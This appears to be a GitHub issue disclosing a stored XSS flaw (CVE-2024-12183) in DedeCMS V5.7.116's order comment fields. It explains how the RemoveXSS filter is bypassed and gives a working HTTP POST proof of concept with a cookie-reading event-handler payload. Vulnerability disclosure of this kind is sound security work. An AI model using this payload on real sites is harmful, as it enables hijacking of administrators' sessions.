Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

DedeCMS V5.7.116 Stored XSS Vulnerability #79

Open
Hebing123 opened this issue Nov 28, 2024 · 1 comment
Open

DedeCMS V5.7.116 Stored XSS Vulnerability #79

Hebing123 opened this issue Nov 28, 2024 · 1 comment

Comments

@Hebing123
Copy link
Owner

Hebing123 commented Nov 28, 2024 •
edited
Loading

Summary

A stored XSS vulnerability has been identified in DedeCMS V5.7.116.
Attackers can exploit this vulnerability by maliciously inserting an XSS payload in the comment section during the purchase of goods.

Details

The vulnerability is located in the file plus/carbuyaction.php. Our analysis indicates that all parameters are passed through the RemoveXSS method.
image
However, our payload can bypass the RemoveXSS method's filtering for XSS vulnerabilities, thus any script that relies solely on the RemoveXSS method to filter parameter values and displays these values on the page is vulnerable.
image

Steps

The attacker, posing as a regular user, purchases goods and adds a malicious comment.
image
An administrator opens the order details in the backend, triggering the stored XSS vulnerability.
image

POC

POST /plus/carbuyaction.php HTTP/1.1
Host: target-ip
Content-Length: 168
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: [users'cookie]
Connection: keep-alive

do=clickout&pid=1&paytype=1&address=test<body%20onpointermove="alert(document.cookie)">&postname=test&email=test%40qq.com&tel=13263888888&zip=300033&des=123&vdcode=0000

Parameters that are vulnerable: des, postname, email, address.
It is worth noting that some parameters may have maximum length restrictions.
We provide a proof of concept that can bypass the RemoveXSS method:

<body onpointermove="alert(document.cookie)">

Of course, we can also bring in external js scripts by modifying the xss payload.
image
@Hebing123
Copy link
Owner Author

CVE-2024-12183

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
1 participant
@Hebing123